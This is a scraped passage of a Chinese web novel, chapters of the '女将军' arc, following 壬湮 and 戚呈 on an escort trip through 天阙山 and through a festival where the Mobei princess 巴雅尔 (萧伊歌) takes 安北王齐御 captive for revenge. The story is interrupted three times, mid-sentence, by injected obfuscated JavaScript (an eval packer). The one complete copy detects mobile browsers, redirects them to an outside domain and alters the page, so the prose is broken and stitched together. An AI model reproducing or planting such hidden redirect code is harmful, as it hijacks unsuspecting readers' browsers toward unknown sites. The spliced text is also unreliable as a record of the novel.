嗯?居然不是还回去,着实是有些厚脸皮了,不过入了她壬湮手中的东西岂有再还回去的道理。想着去看身旁的戚呈,发现他正笑意盈盈地看着自己,好像把自己的想法都看穿了一样,明明是他提出来的注意,怎么做贼的好像只有自己一样。不过东西得留下,镖自然也得尽力去运。 次日太阳刚升起来,壬湮一行将马车寄存后,便加紧脚步出发穿越天阙山。天阙山是通往漠北的最后一道屏障,其实山没有那么高,也不是很陡,却绵延数千里,成为阻挡大靖和漠北的一道天堑。 虽是冬季,但天阙山南部尚有不少常青树木。山的外围树木较低矮,越往深处走,树木越古老,路上甚至频频出现枯死的树木,不多但也不少,至少每走百余步就会看见一棵。 树的外部有烧焦痕迹,不似山火,更像是单棵灼烧而成。这看得壬湮越发奇怪,就算在有瘴气时的虹洞森林也未见到过这么多枯树。 不只壬湮,其他人也发现了越往山里走越古怪,飞鸟不鸣,走兽无影。戚家队伍中有两人曾去漠北出过镖,但都说之前经过天阙山时未曾见过这种情况,一行人的脚步越发谨慎了起来。 吱嘎,枯木折断的声音。 树动了,但却不是枯树,是壬湮他们面对的一棵枯树旁边那尚有棵枝叶的树木。一根树枝缠上一人的脚踝,用力一拖就将一名壮汉拖倒。 同时间,树的另一根枝条朝着壬湮的方向抽来,壬湮下意识地伸出右手准备用法力捏碎它,却忘记自己现在什么也使不出来,这硬生生地伸手一接估计右手就要废在这里了。 突然,一只胳膊将她往后一带,另一只胳膊挡在她的右胳膊上,壬湮下意识地往左偏头,虽然有人挡在前面,可万一有木头渣子落到眼睛里就不好了。 一声闷哼,不是戚呈发出的,好像是,是树发出的? 接着,它好像放弃了攻击她和戚呈这边,转而去攻击稍远一些的其他人和马匹,马匹受了惊吓四散逃去,来不及阻拦。 戚家镖师们赶紧拿出刀来奋力抵抗,一时间刀锋砍在树枝上地咔嚓声不断响起,但怪树仍未减弱攻击。 明明他们俩才是这一行人当中看上去最好下手的,难道真的是刚刚的一挡将它打疼了? 想到这里,壬湮赶紧翻过一旁戚呈的手臂撩起袖子仔细看了看,发现只是外侧皮肤红了一片,皮都没有破。 壬湮奇怪之际,戚呈已经抽回了胳膊,出声道,“不知怎的,本来这树枝来势汹汹,但到了跟前力道却卸了不少,好似在害怕什么东西。” “害怕什么东西?”两人不由得想到了一个东西。 “大家都朝我们这边聚过来。”娇软的声线却带着不可抗拒的感觉。 不在他们周围的戚家镖师听到声音后不再继续用刀与树枝对抗,而是慢慢撤到了两人身边。 果然,这棵树停止了攻击。 一棵会攻击人的树,连周围的走兽鸟禽也会攻击,那就是无差别攻击。 但它害怕周围的枯树,只要站在枯树的周围,它就会畏手畏脚,甚至停止攻击。 “这味道,好熟悉。”壬湮左手边一名壮汉捡起一块刚才踩断的枯树枝闻了闻。 “没错,少主,跟‘女将军’一模一样的味道。”说着又拿起断枝闻了闻。 听罢,壬湮将包裹中的一个“女将军”掏出放在鼻尖闻了闻,是前几天的委托人送来的红衣女将军,确实一样,转头朝戚呈点了点头。 将东西递给戚呈后,壬湮又转头看向那棵树的方向,会自己动的树在鬼域不在少数,可是主动攻击的树并不多见。 想要破解现在的局面,最好的方法就是离开它的攻击范围,如何离开呢? 看着大家手里都拿好了枯树枝,“壮士们,跑!”戚氏镖局训责第三条:能避则避。 跑过了攻击范围之后,一行人的脚步又渐渐慢了下来,因为害怕再遇见刚才那种树,所以大家都变得更加小心翼翼。幸好一直到山顶都没有再遇见刚才的情况,众人一直悬着的心才稍稍有些放松。 在山顶稍作休息后,一行人又继续赶路。这片山虽然不算高也不算陡,但是依照刚才的状况来看不适合过夜了,需要赶在天黑前走完剩下的路找个晚上的落脚点才行。 翻过山不久明显感觉温度低了许多,周围的树也变得稀稀疏疏的,这是到漠北的地界了。 最终在天黑之前,他们选择了一个山脚下的洞穴,之前镖局的人在这边夜宿过,找起来方便也比较放心。 戚呈将一碗清粥递给壬湮的时候,她正拿着一颗绿中发灰的果子在仔细端详。 “大小姐,这野外的果子摘了就摘了,但是可千万不能随便吃啊!”戚家镖师仍然认为壬湮是他们家第一次出远门的娇小姐,外面的很多事情都不晓得。 虽然她以前只偷偷来过几次凡世,凡世的很多东西她确实不够了解,但她也不是那个真正久 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“胡叔,等一下,不要弄坏它,只把它的外皮削掉即可。”这皮现在看上去坚硬,一旦离开树之后,怕是很快就要烂掉。 胡七虽然不明白壬湮为什么要这样做,但还是照做。 “大小姐,这果子你是从哪里摘的,这一路上没见到什么野果子啊!”年轻的镖师倒是问出了大家的疑惑。 “见过的,你们好好想想。”壬湮一瞬间仿佛又回到了西市胡同里和大爷聊天的感觉。 而几个镖师皆摇摇头。 壬湮扮着“空耳大爷”的模样,一脸神秘的招招手,众人齐齐侧过一边耳朵来。 “就是在……”大喘气,不学好。 “在那棵攻击我们的树上摘的。”回答的是戚呈,无视壬湮略有些幽怨的眼神儿继续说道:“大家赶紧去睡觉吧,麻烦胡叔和小十三你们两个值一下前半夜了。” “放心吧,少主。”胡七边应着边将削好皮且用清水洗过的果子递给壬湮。 镖师们各自散了,壬湮还能隐隐听到有人发出疑惑,“你说小姐娇娇弱弱的,怎么在那凶悍的树上摘的果子啊?” “这我哪知道。” 这果子确实硬了些,外皮粗糙似干枯多年的树皮。 壬湮只接触过那棵树一次,当时在树枝打过来的时候她就注意到了,一颗枯果长在绿枝上,确实有点突兀。 这果子自然是在戚呈护着她的时候,用左手从枝子上扯下来的,扯下来的时候由于力道太大还划伤了手掌。 看着隐隐还有些痛意的左手,这伤口不浅却奇怪地没有流血,但也正是因为没有流血才没有人发现她受伤了。 壬湮未在伤口上多纠结,转而端详着手中只剩褐色壳子的果子,她刚刚没有说出她的发现。 胡七是大老粗,他没有发觉这果子居然是有温度的,只比手的温度低一点点。如果静下心来感受一下,甚至还有什么在其间隐隐跳动。 5. 女将军(五) 永昼城,降神阁内。 剩下的五名神使分坐于厅内,正北的神像眼神慈爱又威严,注视着座下甚至是门外的天下众生。 一刻钟时间,连长神使都未曾发话。 “郭信之死,我已经派人尽快去查了,现今萧家那小子是嫌疑最大的。”打破宁静的是坐在西位的二神使,他右手边的空位置就是原来郭信坐的地方。 “哼,没有证据,谁会相信一个手无寸铁之力的小儿杀了堂堂六神使呢!”说着一身黑袍的四神使甩了甩袖子,“这老六不仅平日里不约束自己的行为,就连死都要给侍神殿丢一次人,真是枉为神使。” “若此事真和鬼域有关系……”听到“鬼域”二字,坐在神像下角的三神使眼神儿略有些慌乱地看向神像,但幸好大家的注意力并不在他身上,没人发现他的异样。 “此事就算真的和鬼域有关系,也得压下来,否则民心晃动不是你我之力能安抚得了的,大家都不想重演百年前的悲剧吧。”二神使眼神环顾了周围其他几个神使,他提及的事在座的心里自是都清楚。 百年前,南部城池接连出现鬼域魔物入侵的消息,人心晃动,大量百姓挤入北部城池,给大靖造成了不小的麻烦。结果只是虚惊一场,此后几年,哪有什么魔物,只不过给几个城池平添了些损失罢了。 “确实,此事不宜声张。六神使郭信平日里行迹放荡,是我们侍神殿约束无方,但仇家寻上门来出了人命,我们实在痛心,也得给其家人一个交代。”此时说话的就是侍神殿权利最大的长神使,声音中透露着威严,预示着此事敲定。 余下几人也不再有意义,皆微微颔首低眉,称是。 “是,待查明真相,定给所有人一个交代……只是,这六神使的位置也不能一直空着,不知长神使有何打算?”依然是二神使。 “依照规定,从候选人当中择选吧,此事就交给四神使吧,此次选人一定注意品行和能力要兼顾,不要再出现郭信这样的事情了。”说完大家都看了看三神使。 三神使讪讪一笑,继续转头看看神像。无他,只因当时负责选拔郭信的就是他,所以今天这次聚首他是一句话未说,尽量减轻自己的存在感。 将三神使的神态表现看在眼里的长神使微微叹气,四神使则面露嫌弃。 而壬湮这边在继续向北进发,太阳刚刚升起,一行人也开始准备动身。 但由于在天阙山里马匹都被吓散了,如今只剩下三匹马,戚呈安排了三名镖师先行去往定沙城探查,剩下的人在沿路城镇购买马匹。 冬日寒冷,而漠北的冬天格外的冷。 沿途很少看见水,凛冽的北风从四面八方吹来,又干又冷,宛如细薄锋利的刀片,刮得众人的脸生疼。 壬湮从未觉得自己的皮肤如此娇嫩过,伸手将戚呈披在自己身上的斗篷紧了紧。 看看身旁马背上的戚呈,一身素衣,未着御寒的棉衣,不知他是真的不冷,还是要风度翩翩的感觉呢。壬湮环顾了一下四周,连个鬼影都没有,更别说人影了。 “救……救救我。”刚说没人,这人马上就来了。 声音干哑虚弱,众人一时间竟找不到人在哪里。 路旁的一块石头旁慢慢探出一颗头,然后是整个身子。 是一名瘦瘦高高的女子,身着漠北地区的服饰,玫红色的骑装粘了不少尘土,但却可以看出之前的张扬。高挺的鼻梁配上深深的眼窝,虽然脸上也有几处灰尘,但不难看出漠北人特有的长相。 必然不是路上逃难或者平民家的的女儿。 “姑娘,你这是怎么了?”一行人停了下来,其中两位年轻的镖师下了马去查看女子的情况。 “我……我与家人出来做生意,不想路上遇到了劫匪,慌乱逃跑中与家人走散了。”女子声音略显慌乱地向众人表达着自己的遭遇,透着丝丝后怕和惊喜,许是好久没有遇到人了。 “那你们家是做什么生意的?”女子抬头看向问话的壬湮,略微一愣。 “是做马匹生意的。” “你家在哪里?” “就在定沙城。” 这不是,巧了嘛。 “但是姑娘你也瞧见了,我们既没有马匹,也没有车辆,实在不能帮你。” “不,不用帮我去定沙城。我在逃跑中腿受了伤无法行走,只要能帮我去最近的过路驿站,那边的老板与父亲是旧相识,会帮我传消息给父亲的。”众人这才发现女子的一条腿倚在巨石上,看起来是受伤的样子。 “待到了那边,我可以让父亲奉上马匹作为答谢,如何?” 这买卖确实不亏,众人看看戚呈,戚呈看了看壬湮。 “咳,姑娘不嫌弃就让我们镖师背你一程吧。”这顺道的“生意”不做白不做。 “漠北儿女,自然不拘泥于这些俗世礼仪,那就多谢几位了。” 一名年轻的镖师背起女子,壬湮朝向自家哥哥抬抬眉眼,脚步轻快地跟了上去。 路上壬湮知道了女子名叫伊歌,姓什么没有说,女孩子在外有些警惕心她可以理解。 漠北女儿经常当男儿般养,伊歌就是经常跟随父兄一起出去贩卖马匹,对周围也比较熟悉。 而这次外出不曾想遭遇了意外,她是在父亲的保护下逃出来的,但是腿在逃跑过程中却意外扭伤。 漏洞百出的理由,她怎么知道自己的父亲也一定能逃出来,正常人现在更应该担心一下自己父亲的安危吧,但大家谁都没有点破。 腿伤不假,看她也没有恶意,还正好解了他们的燃眉之急,至于她为什么这样做,或许很快就会有答案。 在伊歌的指引下,他们在晌午之前找到了她说的驿站,为了等待伊歌传信,他们暂时在店里歇了半日。 “多谢几位的救命之恩,我已经让伯伯为大家准备些饭菜了,我这腿伤不便,就先上楼休息了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是若“女将军”真与怪树有关的话,那晚委托人没提醒一下壬湮,属实是有些不厚道,必须记上一笔。 又与店老板攀扯了几句,众人吃了午饭便也找了几间屋子休息。 第二日一早,伊歌的父亲果真命人送来了几匹快马,伊歌本想与壬湮他们一道,被戚呈用他们还有急事需先行一步为借口推脱掉了。 去往定沙城的路上还算是比较顺利,顺利与先行的三人会合后,也成功从指定人那边取到了货物。 只是这回去的路看样子不能再走上关城那边了,于是和镖师们商议后决定改从东边的奉城返回大靖。 这次生意做得并不算顺利,尤其是路上遇到了攻击人的树木和奇怪的漠北少女伊歌,但总体来说也不算特别艰险,没有人起冲突也未曾损失镖师。 直到将货物送到接收人手中,壬湮才觉得怀里的玄贝令踏实些。 只是这些“女将军”若真的全部流散出去那可就是这杀头的买卖,若真追究起运货之人,不知戚家“上边的人”能罩得了几分,毕竟目前来看,她还得靠戚家活下去。 这件事没等壬湮担心几天,罪魁祸首便被抓了。 永昼城城主命人将萧家幼子萧赭扣押,等候审问,几箱未流散出去的女将军木雕一同被押往了罪刑司。 6. 女将军(六) 正月十七,邺火节前五日,街市上人们采买着节日要用的东西,准备着邺火节晚上要表演的节目。永昼城街市上热闹的很,戚家也是热闹的很。 因为漠北公主终于到了永昼城,而戚家二房戚长庚也终于归家了。 街上张望着想要一睹公主芳容的人不在少数,可公主千金之躯,稳坐轿中,岂是普通百姓可以看到的,众人悻悻地散去。 直到公主的车队渐行远去,戚家的马车才得以进城驶向戚宅。 今日戚家家宴堪比新年的那晚,戚长庚走镖半年未归,如今归来,一大家子自是开心。壬湮观这家中二叔,方脸星目,身材中等健壮,看上去沉稳忠厚,应该是同婶婶一样好相与的人。 果然,戚二叔去拜完祖师爷又去看了老爷子,就来了合院与几个小辈说些路上遇到的趣事,看到能出来走动的戚明烟也甚是高兴地与她多说了几句。 “来,明烟丫头,这是二叔从岭南给你带的发饰,那边的小姑娘都时兴带这种。”家中小辈只有戚明烟一个女娃,戚二叔看见这些东西自然是就想着她。 “爹,怎么不见的你给我带礼物回来。”戚黎歪在椅子上,斜着身子看着这边,忍不住阴阳怪气到。 “你要是个女儿家,为父给你带两大箱子回来。”只见戚黎嘴一张欲想再争辩一下。 壬湮取出盒中一对发饰中的其中一支,往戚黎的方向递了递,“二兄若实在是喜欢,不若咱们二人一人一支,也好做个姐妹款。” 只是这粉粉嫩嫩的头花着实不称戚黎这妖艳的面容,戚黎也是嫌弃地一拍手。 欢乐的时光总是过得快一些,转眼已经来到了邺火节。得到了家中长辈的同意,兄妹三人在家中用过晚饭后,便结伴上街。 邺火节的晚上比新年夜要热闹上许多,而西市又比东市热闹些,商人小贩多,节目也多。 街市两旁挂满了各种样式的灯笼,映得漆黑的夜都微微泛起节日的红色。今夜的人们脸上都不由自主地带上了笑容,此时的永昼城才是真正的永昼城。 走在西市的路上,看着形形色色的人都为同样的事情而欢乐,壬湮第一次感受到话本中真真切切的凡世。 看着手中被戚黎塞了满手的吃食,壬湮终于知道刚刚用晚膳的时候,他为什么叮嘱自己一定要少吃点了。 壬湮鼓动着两边的腮帮子,幸福地眯了一下双眼。之前她觉得没有比成为鬼域的统治者,掌握自己的命运更重要的事情了,现在她倒觉得当一个普通的凡世人说不定会更加快乐一些。 戚呈看着身边眯起双眼的壬湮,忍不住伸手摸了摸她的头顶,今天的壬湮戴了那天戚二叔送的粉色珠花。转头间,珠花上垂下来的小珍珠叮当碰撞,衬着脸上的笑容越发明朗。 今天,又是不一样的她。 兄妹三人在街市上逛了半个时辰,节日的重头表演马上就要开始了。 邺火游行。 主要就是由戏人扮演恶人或者恶鬼,再由扮演神女的人对其惩以火刑,真心悔过者神女降下甘露,冥顽不灵者被烧为灰烬。 当然,扮演者是假的,火也是假的。 整个过程都在游行车上完成,所以被称为邺火游行。大靖境内基本每个城池在邺火节这天都会有这样的表演,而永昼城的表演每年都会在主街上。 算着开始的时间,戚黎赶紧催促着不紧不慢的兄妹二人往主街的方向走。 “戚黎,原来你在这边!”一个清脆中带着惊喜的女声吸引了三个人的目光。 一个身穿鹅黄衣裙,右手揣在暖手抄中,左手正朝这边挥舞的女子立于街市的一边,脸上带着笑,两颊微微泛红。 那是壬湮第一次见平常慵懒的戚黎突然手脚并用地往她身后躲起来。戚黎本想躲在戚呈身后,毕竟他高大,奈何被他一撇,马上转了方向,戚呈看上去温和儒雅,可他就是莫名地怕他。 “那位是?”壬湮忍不住往右一歪脑袋向戚呈问到。 “你未来二嫂,霍宝妗。”添油加醋,声音还不小,戚呈绝对是在挑事情。 “戚呈你,你不要乱说啊!”躲在壬湮身后的戚黎也跟着一起歪头。 戚呈没再接话,而是将戚黎拽住壬湮外衫的手掰开,并将他往霍家小姐的方向推了一把。 “阿黎数日未见,原来戚家已经承认咱俩的事情了吗?真是太好了!那我得赶紧让母亲把嫁妆备起来。”说着,霍宝妗已经拽住了往前踉跄一步的戚黎,并且忽视了他脸上满满的拒绝。 “不是,霍小姐你误会了,咱们两个……” “阿黎你不必多说,你觉得春日成婚好还是要夏日成婚好?” “我……”没等戚黎说出第二个字,霍宝妗就又把话接了过去。 “你瞧我,高兴过头了,这日子得家中父母定下,怎能你我随口一说呢。那阿黎你喜欢……” 说着说着戚黎已经被霍宝妗拽出数步去了,壬湮忽视了他投来的求救眼神儿,这霍家小姑娘力气不小呀,居然还能有人治得戚黎说不出话,不错不错。 “哥哥,游行快开始了,我们赶紧去主街吧!”说着壬湮朝还在朝这边看的戚黎一个玩得开心的眼神儿,挥挥手往主街方向去了。 待二人赶到主街时,游行已经开始了。 从周围人的议论声中可以判断出,正在表演的是一个叛国通敌的将军,致一城百姓被屠。 他们到时正演到扮作罪将的演员被抓,脸上涂满青绿色的颜料,象征着恶人身份,身子贴于地面,哆哆嗦嗦,等待神女降临带来惩罚。 “出来了,神女来了!”人群中有人惊呼。 随着这声惊呼,人们看到游行车的后方一女子的身影缓缓上升。女子身穿白色衣裙,象征着圣洁,右手执一玉瓶,其中应是装着“甘露”,而左手捏一金色面具置于脸前。 “唉?今年的神女怎么挡着脸?”有人发出疑问。 “自然是增加点神秘感啊,每年神女都是一样的出场方式,你看不腻啊。”旁边已经有人出声回答了他。 “光挡着脸有什么用,每年除了‘哎、嘿、呀’这些词儿,也就神女说两句词儿,下一句肯定是‘尔等知错否?’”刚刚发问的人学着往年神女的语气来了一句,壬湮侧头看了看这人,可真是大胆,神女不是你们的神吗?凡世人不是最敬重这些个神的了嘛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慌乱的众人见了,仿佛一下子找到了救星,甚至不少人拿出了一直随身带着的小木雕,新年那一场血案着实是吓着大家了。 但是大家发现,之前的那些木雕根本没用。 没用?有什么不同呢?壬湮也掏出自己怀中的“女将军”,红色衣衫,双眼紧闭。 戚呈看着二人周围退散的黑雾,又看看壬湮手中的木雕,又看了壬湮一眼。 壬湮仿佛从他眼中看到了:随身携带,你可真惜命啊! 那可不嘛。好不容易复活一次,不好好珍惜,怎么对得起,呃,对得起自己,对得起戚家啊。 啪嗒,一个木雕被扔到一人脚下,那人摸索着捡起。啪嗒啪嗒,更多的木雕被扔到众人脚下,大家慌忙蹲下身去拾捡,也顾不上你踩着我的手,我摸着你的腿的了。 真是应了刚才“神女”说的那四句话,想到神女,壬湮环顾四周,哪还有伊歌的身影。 壬湮将女将军塞给戚呈,伸手摸了摸黑雾想探探究竟。许是此地拿到“女将军”的人越来越多,黑雾裹着鬼将的身影开始想要逃窜。 “你想去看热闹吗?”戚呈一手扔掉“女将军”,一手重新拉住壬湮的手,在壬湮疑惑的眼神中带着她一起卷入了黑雾。 我还没回答啊,壬湮感受着左手心传过来不热不凉刚刚好的温度,眼前是黑漆漆一片,甚至连牵着手的戚呈都看不见。 好吧,她也好奇。 只是喜欢看热闹是凡世人的通病吗?连谪仙般的戚呈也喜欢! 7. 女将军(七) 壬湮二人被黑雾裹挟着,应该说是二人主动裹在黑雾中不知到了什么地方,黑雾没有散掉,但却定了下来,眼前依然是一片黑暗看不见发生了什么。 “人抓到了吗?”听声音不难辨认是伊歌。 “禀告公主,还没有,宫宴马上结束,我们的人已经布置好了。” 公主?漠北人?难道伊歌就是几天前刚到永昼城的漠北公主阿汗儿·巴雅尔?果然,当时就觉得此人并不简单。 随着手下的脚步声渐渐离开,壬湮听到了有人来回踱步的声音。 “小雅,走到这一步值得吗?”一个粗哑的男声,壬湮马上在脑海中搜索,她想起来了,那晚来“风穴”做交易的男子,今天身上的海腥味倒是没有那么浓了,看来已经有人提醒过他了。 “肖叔,不必劝我,筹划了这么久就是为了等此刻。” “现在,只差主角儿登场了。”听得出声音中有一丝丝隐隐的期待。 接下来是一段漫长的安静时间,外边的伊歌在等待她说的“主角”,而黑雾中的壬湮已经由半蹲直接变为了席地而坐。 长时间罩于黑雾中确实有些闷,就连身边的戚呈也看不到。 壬湮慢慢伸手去摸索身旁的戚呈,刚刚旁边一点声音都没有,要不是落地之前两人一直牵着手,她都要怀疑戚呈是不是半路上被丢了出去。 摸索了半天不仅什么也没摸到,还发出了几声“细细簌簌”声,周围的环境太过安静,壬湮害怕把其他人的注意力吸引过来,便没有做太大的动作。 殊不知一旁的戚呈自从壬湮松开了自己的手,就有些无措地双手交叉,面色不显,但如果没有黑雾,仔细看的话能看的出他脸上一层淡淡的红晕,嘴角是压抑的弧度,不知在想些什么。 这副模样全然不是壬湮平常看到的谪仙模样,更不像一个哥哥对妹妹的情感。 感受到身旁壬湮的摸索,戚呈恍惚中回神,将手慢慢伸过去触到温暖的指尖,然后慢慢握住。明明知道壬湮看不见,戚呈还是将头往一边转去,他知道她一定在看向自己的方向。 感觉到左手被握住,壬湮确实朝左边看了一眼,什么也看不见便没有太在意,因为今天这场戏的“主角”已经珊珊来迟了。 “砰”,伴随着一声重物落地的声音,刚才离开的那个属下回来复命了,“公主,人已经抓回来了,是否需要叫醒他。” “自然需要,主角怎么能没有台词呢!”她很开心,至少现在是的。 “哗啦”,原来是这种叫醒方式,这主角的待遇着实是差。 齐御悠悠转醒,慢慢睁开布满血丝的双眼。 映入眼中的是一间有些破败的屋子,应该是很久没人住的原因,屋内的桌凳东倒西歪,上面被蜘蛛织了几层蜘蛛网。 他对怎么来到这里的毫无印象,只记得明明自己在参加宫宴。由于父皇近几日对自己不冷不热的,反而多次当着朝臣的面夸赞三弟,就忍不住在宴会上借酒浇愁多喝了几杯。 再后来宫宴结束,自己斥退了随从,没坐马车,想沿街散散心。再后来,再后来发生了什么真是不记得了,好像是感觉眼皮越来越重,睡着了。 再睁开眼就在这里了,难道是被人救了,还未完全醒酒的齐御还没注意到自己的手脚是被绑着的。 “呦,安北王醒了啊。”这时齐御才注意到站在他身后的两个人,想要以手支撑转过身子才发现自己的双手是不自由的。 “是......是巴雅尔公主啊,刚刚宫宴上父皇还询问使臣你的身体怎么样了,是否适应了过来......只是......这是怎么回事,我们这是怎么了?”酒的作用让他思考能力还没有恢复正常。 “来人,给我们尊贵的安北王一碗解酒汤。”说着进来一名漠北侍卫,端着早已准备好的解酒汤,真是早有预谋啊! 待那名侍卫不甚温柔,甚至是有些粗鲁地将一碗汤药灌入齐御口中时,齐御才彻底明白自己的处境,他是被绑来的,而且是被这个来京不久漠北公主绑架了。 “巴雅尔,你这是干什么,就不怕大靖先拿你们藓部开刀吗?”齐御的声音渐渐找到了底气。 “啪啪啪”,巴雅尔边鼓掌边微笑着看着齐御,声音中带着愉悦,“不愧是征战沙场的安北王,此番情景都可以如此镇定。” “还是你真觉得侍神殿会同意你父皇调兵为你这个儿子报仇呢?”温柔的声线却句句捅在齐御的痛处。 确实,父皇就算再不看重自己这个儿子,也会为了颜面向漠北开战。可是侍神殿就不一样了,尤其是自从他们齐氏成为皇宫的主人,权力慢慢都被侍神殿和城主府夺走,能受他父皇掌控的权力少得可怜。 每想到这里,他就对侍神殿多一份痛恨,面部也跟着狰狞了起来。齐氏是他们扶持起来的,原来这些老狐狸是嫌前朝皇室不听话,扶持一个更好掌控的傀儡而已。 侍神殿不会开战,他们一贯坚持维持他们所谓的平衡。 “怎么,安北王这是想到了什么趣事表情这么丰富,不如说出来让我听一下。我这一高兴啊,说不定多给殿下留一条完整的胳膊。”巴雅尔好似很喜欢看齐御痛苦的样子。 “为什么是本王,你抓一个父皇看中的皇子不是更有价值吗?” “不不不,今天的主角只能是我们尊贵的安北王。你不会以为我是为了什么家国大义吧,那我早就乖乖嫁给你了。” “本王......” “嘘,听我说完,我知道你也不想娶我,不然你也不会在我来时的路上埋伏,想要置我于死地了吧。” “本王......” “嘘,不听话。不要辩解,是不是你你心中应该最清楚,因为你知道一旦你真的娶了一个漠北公主,那可就是真的与储君之位无缘了。” 这次齐御没有再说话,这沉默却让巴雅尔不甚满意。 “来人,给我们尊贵的安北王松绑,这细皮嫩肉的被给勒坏了。”这句“细皮嫩肉” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778895|157933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对一个早年驻守边关的大男人来说着实是个羞辱,可仔细看看齐御的双手确实滑嫩,是一双养尊处优的手,而不是一双常年征战沙场的手。 听了这句话齐御的脸竟然涨红了起来,巴雅尔也在一边满意地笑了。 “齐御,好好享受我对你最后的礼遇吧。哦,可能也是你此生最后一次了,毕竟你死后可是要下地狱的!”刚刚还有些平和的巴雅尔,渐渐情绪激动起来,已经开始直呼齐御的名字。 “你胡说什么!”齐御显然被她吓到了,虽然双手被解开了束缚,但这里暗处的侍卫不知道有多少,在自己的人寻来之前千万不能惹怒对方。 “齐御,你真是老了,到现在还没有发现我像谁吗?也是,你和萧姐姐驻守边关的那段日子,你可能都没怎么仔细看过我吧。” 都提示到了这里,齐御脸色变了变,显然已经想到了是谁。 “萧伊歌!你是萧伊歌!” “哎呀,齐哥哥终于想起来了!”这声“齐哥哥”着实叫的巴雅尔恶心得很。 “这怎么可能!”齐御不可置信地瞪大双眼,这自然比漠北公主要杀自己还要恐怖。 但巴雅尔就是萧伊歌的话,她为什么这般恨自己,为什么想要杀掉自己就都说得通了。 齐御还没从惊讶中转过神儿来,巴雅尔脸上全然没了刚才一只猫逗弄一只老鼠的闲情,转而一脸冷漠地看着坐在地上的齐御。 最后方是一名默默站在巴雅尔后方的黑衣人,个头不高,脑袋蒙在黑色的斗篷中,完全看不清长什么样子。 “齐御,想起来了吗?想起你和萧姐姐在边关的日子来了吗?” 齐御缓缓仰起头看着如今已经长大的女孩儿,眼睛中仍然充斥着血丝。 “你是来找我报仇的吗?”齐御的声音中带上了丝丝颤意。 “不然,你看我像是请王爷来喝茶的吗?” 不想齐御突然发难,站起身来想要抓住身旁最近的巴雅尔。 而巴雅尔完全没想过在她眼中一个平常有些胆怂的人,会做出这种反应,慌忙向后退的同时还是被带的一个趔趄。 就在这一瞬间,齐御已经又到了眼前,抓住她的双腕,巴雅尔想要挣脱,但奈何一个成年男子的力量还是远大于她的。 而侍卫都让她安排去了屋外,进来时已经变成了这样的局面。 只见之前一直站在巴雅尔身后的黑衣人,略有些艰难地朝着两人的方向挪动了两步,眼睛却看向暗处的一角,喝道,“还不过来帮忙!” 这一喝将躲在黑雾中的壬湮二人吓了一跳,只见周围的黑雾渐渐散去,眼前的事物终于变得清晰了起来,戚呈没有转头看壬湮,手却一直握着未曾松开。 再看黑雾已经去往齐御的方向,并且帮助巴雅尔制住了他。 重新被绑上绳子的齐御和屋内的一众人此时都在看向壬湮和戚呈二人,这凭空多出来的两个人不知道在这听了多久的戏,恐怕是比齐御这个主角来的还要早。 8. 女将军(八) 今年的邺火节比往年结束得早得多,因为鬼将军的事情一闹,大家都没有心思继续下去。 虽然没有人因此丢了性命,伤也大多是拥挤踩踏造成的,但是大家明显将怨念归在了皇室身上,女将军萧梦姜一事,乃前朝旧事。 如今众人得女将军庇佑,而齐氏却躲在皇宫中不作为,约莫过了两刻钟时间,城中侍卫赶至才清理了现场。 远离城区的郊外,一间破败的房子中,屋中的几人神色各异。 空气仿佛凝固住,这听墙角被发现的尴尬感觉壬湮还是第一次体会到,又看看身旁的戚呈,还是那样的泰然自若,壬湮瞬间觉得自己小家子气了,瞅瞅人家。 其实戚呈根本没在关注两人的处境,好似他们真的只是今日演出的普通看客一般。 “是你们二人,你们怎么跟进来的?”看来这个漠北公主还记得他们。 “就是跟着它一起进来的。”壬湮说着朝黑雾的方向扬了扬下巴。 黑雾像犯了错的小孩子似的,慢慢把自己缩小成一团,减少自己的存在感。 “呵,正好,齐御,本来不想同你多说,既然现在多了两位观众,不如就让大家一起听听咱们大靖安北王的丰功伟绩怎么样?” 齐御脸上写着拒绝,可是现在谁管他,现场已经没有人真的拿他当王爷了。 “齐御,十七岁被赐婚当时还是军队掌权者萧氏的长女萧梦姜,萧姐姐虽长你三岁,却已在白昼城中有了些名气,武艺高强,善读兵书,比男儿郎也差不了。 “成婚后一年,前朝皇帝派你驻守漠北边关,你是个平庸之辈,每次胜仗都打得勉勉强强,损失惨重。 “是萧姐姐自请领兵,震慑边关,她的军功最后都成了你的,她的荣耀都为你铸成了‘安北王’这三个字,最后你却一点都不顾及多年的夫妻情,那样害她!” “什么夫妻情,你在大营中五年,你看我们两个像夫妻吗?你不会不知道军营中的那些将士是怎么看本王的!”听到这里齐御终于将积存在心底多年的不满说了出来。 “你以为本王这么多年过得好吗?” “你过得不好那是你咎由自取!这么多年没听你再娶,也是,谁都不想把女儿嫁给一个随时可能要自己命的人啊!”巴雅尔真是再插一刀。 从他们的言语中,渐渐拼织了出当年事情的轮廓。 十六年前,那时还是前朝,萧家也是大靖王朝掌握着第一军队力量的将门世家。 萧父一代出了两员大将,也就是萧梦姜还有一个叔父,而萧梦姜有两个亲兄弟和两个表兄弟,她是家中的长女,也是唯一的女儿。 出生在将门世家,她不同于城中其他姑娘家学习琴棋书画,她更喜欢舞刀弄枪,期盼着有一天可以像父兄一样上战场,所以直到她二十岁仍没有定下亲事。 这样的机会很快就来了,在她二十岁那年遇见了齐御,异姓王齐佑次子。 那是一个不同于父兄一般的男子,他温文尔雅,细心周到,时常忧心民生。 大靖黄历五百六十七年,异姓王齐佑为自己的次子讨了一桩婚事,当时的顺帝下旨赐婚,都没给老将军一点回旋的余地,这婚事起初萧将军是反对的,但奈何圣旨已下。 同年,萧齐二人成婚。 次年,顺帝下旨命齐御驻守边关,萧梦姜同往。 